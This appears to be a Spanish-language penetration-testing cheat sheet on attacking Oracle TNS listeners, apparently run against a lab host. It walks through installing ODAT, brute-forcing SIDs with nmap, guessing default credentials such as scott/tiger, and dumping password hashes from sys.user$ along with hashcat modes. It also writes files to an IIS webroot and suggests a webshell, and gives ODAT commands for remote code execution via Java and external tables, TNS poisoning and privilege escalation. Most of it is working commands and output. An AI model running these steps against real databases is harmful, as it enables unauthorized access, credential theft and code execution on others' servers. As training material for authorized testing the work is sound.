Skip to content

Oracle TNS (Transparent Network Substrate)

El servidor Oracle Transparent Network Substrate (TNS) es un protocolo de comunicación que facilita la comunicación entre bases de datos y aplicaciones Oracle a través de redes. Introducido inicialmente como parte del paquete de software Oracle Net Services, TNS admite varios protocolos de red entre bases de datos Oracle y aplicaciones cliente, como las pilas de protocolos IPX/SPX y TCP/IP. Como resultado, se ha convertido en la solución preferida para gestionar bases de datos grandes y complejas en los sectores sanitario, financiero y minorista. Además, su mecanismo de cifrado integrado busca garantizar la seguridad de los datos transmitidos, lo que lo convierte en una solución habitual en entornos empresariales donde la seguridad de los datos es prioritaria.

Tnsnames.ora

Archivo de configuración del lado cliente que define cómo conectarse a una base de datos Oracle (alias, host, puerto, nombre de servicio):

c
ORCL =
  (DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = 172.16.64.10)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVER = DEDICATED)
      (SERVICE_NAME = orcl)
    )
  )

Listener.ora

Archivo de configuración del lado servidor que define qué instancias (SID) expone el listener TNS y en qué dirección/puerto escucha:

c
SID_LIST_LISTENER =
  (SID_LIST =
    (SID_DESC =
      (SID_NAME = PDB1)
      (ORACLE_HOME = C:\oracle\product\19.0.0\dbhome_1)
      (GLOBAL_DBNAME = PDB1)
      (SID_DIRECTORY_LIST =
        (SID_DIRECTORY =
          (DIRECTORY_TYPE = TNS_ADMIN)
          (DIRECTORY = C:\oracle\product\19.0.0\dbhome_1\network\admin)
        )
      )
    )
  )

LISTENER =
  (DESCRIPTION_LIST =
    (DESCRIPTION =
      (ADDRESS = (PROTOCOL = TCP)(HOST = orcl.domain.local)(PORT = 1521))
      (ADDRESS = (PROTOCOL = IPC)(KEY = EXTPROC1521))
    )
  )

ADR_BASE_LISTENER = C:\oracle

Parámetros de configuración comunes

ConfiguraciónDescripción
DESCRIPTIONUn descriptor que proporciona un nombre para la base de datos y su tipo de conexión.
ADDRESSLa dirección de red de la base de datos, incluyendo hostname y puerto.
PROTOCOLEl protocolo de red utilizado para la comunicación con el servidor.
PORTEl número de puerto utilizado para la comunicación con el servidor.
CONNECT_DATAEspecifica los atributos de la conexión: nombre del servicio o SID, protocolo e identificador de instancia.
INSTANCE_NAMEEl nombre de la instancia de base de datos a la que el cliente desea conectarse.
SERVICE_NAMEEl nombre del servicio al que el cliente desea conectarse.
SERVEREl tipo de servidor usado para la conexión (dedicado o compartido).
USEREl nombre de usuario para autenticarse con el servidor.
PASSWORDLa contraseña para autenticarse con el servidor.
SECURITYEl tipo de seguridad para la conexión.
VALIDATE_CERTSi se valida el certificado mediante SSL/TLS.
SSL_VERSIONLa versión de SSL/TLS a utilizar para la conexión.
CONNECT_TIMEOUTTiempo límite en segundos para establecer una conexión.
RECEIVE_TIMEOUTTiempo límite en segundos para recibir una respuesta.
SEND_TIMEOUTTiempo límite en segundos para enviar una solicitud.
SQLNET.EXPIRE_TIMETiempo límite en segundos para detectar que una conexión falló.
TRACE_LEVELNivel de seguimiento (logging) de la conexión.
TRACE_DIRECTORYDirectorio donde se almacenan los archivos de traza.
TRACE_FILE_NAMENombre del archivo de traza.
LOG_FILEArchivo donde se almacena la información de registro.

Instalación de ODAT (Oracle Database Attacking Tool)

ODAT es la herramienta de referencia para atacar bases de datos Oracle expuestas vía TNS. Requiere el cliente Instant Client de Oracle para funcionar:

bash
#!/bin/bash

sudo apt-get install libaio1 python3-dev alien -y
git clone https://github.com/quentinhardy/odat.git
cd odat/
git submodule init
git submodule update
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-basic-linux.x64-21.12.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/2112000/instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
unzip instantclient-sqlplus-linux.x64-21.12.0.0.0dbru.zip
export LD_LIBRARY_PATH=instantclient_21_12:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
pip3 install cx_Oracle
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome

Registrar la ruta del cliente Oracle en el sistema para que las librerías se resuelvan correctamente:

c
❯ sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf"; sudo ldconfig

Comprobar que ODAT funciona y ver los módulos disponibles:

c
❯ ./odat.py -h

usage: odat.py [-h] [--version]
               {all,tnscmd,tnspoison,sidguesser,snguesser,passwordguesser,utlhttp,httpuritype,utltcp,ctxsys,externaltable,dbmsxslprocessor,dbmsadvisor,utlfile,dbmsscheduler,java,passwordstealer,oradbg,dbmslob,stealremotepwds,userlikepwd,smb,privesc,cve,search,unwrapper,clean}
               ...

            _  __   _  ___ 
           / \|  \ / \|_ _|
          ( o ) o ) o || | 
           \_/|__/|_n_||_| 
-------------------------------------------
  _        __           _           ___ 
 / \      |  \         / \         |_ _|
( o )       o )         o |         | | 
 \_/racle |__/atabase |_n_|ttacking |_|ool 
-------------------------------------------
...SNIP...
  • sidguesser : fuerza bruta de SIDs válidos contra el listener.
  • passwordguesser : fuerza bruta de credenciales contra un SID conocido.
  • all : ejecuta automáticamente casi todos los módulos de reconocimiento en un solo comando (el más usado para un primer barrido).
  • privesc / cve : módulos de explotación para escalar privilegios o probar CVEs conocidos contra la versión detectada.

Footprinting del servicio con Nmap

c
❯ sudo nmap -p1521 -sV 172.16.64.20 --open

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 10:59 EST
Nmap scan report for 172.16.64.20
Host is up (0.0041s latency).

PORT     STATE SERVICE    VERSION
1521/tcp open  oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.64 seconds

Fuerza bruta de SID con Nmap

Un listener TNS necesita conocer el SID exacto (identificador de la instancia) para permitir una conexión; si no se conoce, se puede intentar adivinarlo:

c
❯ sudo nmap -p1521 -sV 172.16.64.20 --open --script oracle-sid-brute

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 11:01 EST
Nmap scan report for 172.16.64.20
Host is up (0.0044s latency).

PORT     STATE SERVICE    VERSION
1521/tcp open  oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
| oracle-sid-brute: 
|_  XE

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 55.40 seconds
  • El SID XE corresponde típicamente a instalaciones de Oracle Express Edition (la edición gratuita), muy común en entornos de prueba/desarrollo.

Reconocimiento completo con ODAT

Ejecuta automáticamente el conjunto de módulos de reconocimiento (fuerza bruta de SID, usuarios por defecto, credenciales comunes, etc.) en un solo comando:

c
❯ ./odat.py all -s 172.16.64.20

[+] Checking if target 172.16.64.20:1521 is well configured for a connection...
[+] According to a test, the TNS listener 172.16.64.20:1521 is well configured. Continue...

...SNIP...

[!] Notice: 'mdsys' account is locked, so skipping this username for password           #####################| ETA:  00:01:16 
[!] Notice: 'oracle_ocm' account is locked, so skipping this username for password       #####################| ETA:  00:01:05 
[!] Notice: 'outln' account is locked, so skipping this username for password           #####################| ETA:  00:00:59
[+] Valid credentials found: scott/tiger. Continue...

...SNIP...
  • scott/tiger es una de las credenciales por defecto más famosas y persistentes de Oracle (viene precargada en el esquema de ejemplo desde versiones muy antiguas) — vale la pena probarla manualmente incluso sin herramientas automatizadas.
  • Otras cuentas por defecto comunes a probar: system/manager, sys/change_on_install, dbsnmp/dbsnmp, outln/outln.

SQLplus - Iniciar sesión

c
❯ sqlplus scott/tiger@172.16.64.20/XE

SQL*Plus: Release 21.0.0.0.0 - Production on Mon Mar 6 11:19:21 2023
Version 21.4.0.0.0

Copyright (c) 1982, 2021, Oracle. All rights reserved.

ERROR:
ORA-28002: the password will expire within 7 days



Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

SQL>
  • El formato de conexión es usuario/contraseña@host/SID.
  • El error ORA-28002 no impide la conexión, solo advierte que la contraseña está por expirar — la sesión sigue siendo completamente funcional.

Enumeración de la base de datos

Listar todas las tablas accesibles por el usuario actual:

c
SQL> select table_name from all_tables;

TABLE_NAME
------------------------------
DUAL
SYSTEM_PRIVILEGE_MAP
TABLE_PRIVILEGE_MAP
STMT_AUDIT_OPTION_MAP
AUDIT_ACTIONS
WRR$_REPLAY_CALL_FILTER
HS_BULKLOAD_VIEW_OBJ
HS$_PARALLEL_METADATA
HS_PARTITION_COL_NAME
HS_PARTITION_COL_TYPE
HELP

...SNIP...

Ver los roles otorgados al usuario actual:

c
SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT                          CONNECT                        NO  YES NO
SCOTT                          RESOURCE                       NO  YES NO

Conexión y enumeración como SYSDBA

Si las credenciales tienen privilegios suficientes, conectar directamente como sysdba da visibilidad total sobre roles y privilegios del sistema:

c
❯ sqlplus scott/tiger@172.16.64.20/XE as sysdba

SQL*Plus: Release 21.0.0.0.0 - Production on Mon Mar 6 11:32:58 2023
Version 21.4.0.0.0

Copyright (c) 1982, 2021, Oracle. All rights reserved.


Connected to:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production


SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SYS                            ADM_PARALLEL_EXECUTE_TASK      YES YES NO
SYS                            APEX_ADMINISTRATOR_ROLE        YES YES NO
SYS                            AQ_ADMINISTRATOR_ROLE          YES YES NO
SYS                            AQ_USER_ROLE                   YES YES NO
SYS                            AUTHENTICATEDUSER              YES YES NO
SYS                            CONNECT                        YES YES NO
SYS                            CTXAPP                         YES YES NO
SYS                            DATAPUMP_EXP_FULL_DATABASE     YES YES NO
SYS                            DATAPUMP_IMP_FULL_DATABASE     YES YES NO
SYS                            DBA                            YES YES NO
SYS                            DBFS_ROLE                      YES YES NO

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SYS                            DELETE_CATALOG_ROLE            YES YES NO
SYS                            EXECUTE_CATALOG_ROLE           YES YES NO
...SNIP...
  • El rol DBA en la lista confirma privilegios administrativos completos sobre la instancia.

Extraer hashes de contraseñas

c
SQL> select name, password from sys.user$;

NAME                           PASSWORD
------------------------------ ------------------------------
SYS                            FBA343E7D6C8BC9D
PUBLIC
CONNECT
RESOURCE
DBA
SYSTEM                         B5073FE1DE351687
SELECT_CATALOG_ROLE
EXECUTE_CATALOG_ROLE
DELETE_CATALOG_ROLE
OUTLN                          4A3BA55E08595C81
EXP_FULL_DATABASE

NAME                           PASSWORD
------------------------------ ------------------------------
IMP_FULL_DATABASE
LOGSTDBY_ADMINISTRATOR
...SNIP...
  • Estos hashes (esquema DES antiguo, ORACLE) pueden crackearse offline con hashcat -m 3100 o john con el formato oracle.
  • En versiones modernas (11g+) los hashes suelen estar en sys.user$ bajo el formato SHA-1 (spare4), más resistente pero igualmente crackeable si la contraseña es débil.

Escritura de archivos en el sistema (File Upload)

Rutas web típicas donde escribir un archivo puede resultar en ejecución remota si el servidor web sirve ese directorio:

OSRuta
Linux/var/www/html
WindowsC:\inetpub\wwwroot

Crear un archivo de prueba local:

c
❯ echo "Oracle File Upload Test" > testing.txt

Subirlo al servidor usando el módulo utlfile de ODAT (requiere privilegios sysdba o permisos de escritura en el directorio via UTL_FILE):

c
❯ ./odat.py utlfile -s 172.16.64.20 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt

[1] (172.16.64.20:1521): Put the ./testing.txt local file in the C:\inetpub\wwwroot folder like testing.txt on the 172.16.64.20 server                                                                                                  
[+] The ./testing.txt file was created on the C:\inetpub\wwwroot directory on the 172.16.64.20 server like the testing.txt file

Confirmar la escritura accediendo al archivo vía HTTP:

c
❯ curl -X GET http://172.16.64.20/testing.txt

Oracle File Upload Test
  • Si el directorio de destino corresponde al webroot de un servidor IIS/Apache corriendo en el mismo host, este mismo procedimiento puede usarse para subir una webshell en vez de un archivo de texto, logrando ejecución remota de código.

Explotación adicional

RCE vía Java (módulo java de ODAT)

Si el usuario tiene privilegios suficientes, Oracle permite ejecutar código Java embebido dentro de la base de datos, lo que se traduce en ejecución de comandos del sistema operativo:

c
❯ ./odat.py java -s 172.16.64.20 -d XE -U scott -P tiger --sysdba --exec-cmd "whoami"
  • Este vector no depende de escribir un archivo en un webroot: ejecuta comandos directamente en el servidor donde corre la instancia Oracle, siempre que el usuario tenga privilegios (sysdba o roles equivalentes) para invocar DBMS_JAVA/DBMS_JVM_EXP_PERMS.

RCE vía externaltable

Abusa de la funcionalidad de tablas externas de Oracle (que leen datos desde archivos del sistema operativo) combinada con permisos de escritura para ejecutar comandos:

c
❯ ./odat.py externaltable -s 172.16.64.20 -d XE -U scott -P tiger --sysdba --exec-cmd "id"

TNS Poisoning

Vulnerabilidad histórica (CVE-2012-1675) en la que, si el listener TNS no requiere autenticación (ADMIN_RESTRICTIONS deshabilitado), un atacante puede registrar una instancia falsa ante el listener, interceptando y redirigiendo el tráfico de clientes legítimos hacia un servidor malicioso:

c
❯ ./odat.py tnspoison -s 172.16.64.20 -p 1521
  • Este ataque es particularmente peligroso en listeners viejos sin parchear, ya que permite un ataque de tipo Man-in-the-Middle contra toda conexión nueva al servicio, capturando potencialmente credenciales en tránsito.

Privilege Escalation local (módulo privesc)

Una vez con acceso a la base de datos (incluso sin privilegios sysdba), ODAT incluye módulos que prueban automáticamente vulnerabilidades conocidas de escalada de privilegios dentro de la instancia:

c
❯ ./odat.py privesc -s 172.16.64.20 -d XE -U scott -P tiger --get-passwords
  • Combina varias técnicas conocidas (abuso de roles mal configurados, funciones vulnerables, etc.) para intentar escalar de un usuario de bajos privilegios a DBA de forma automatizada.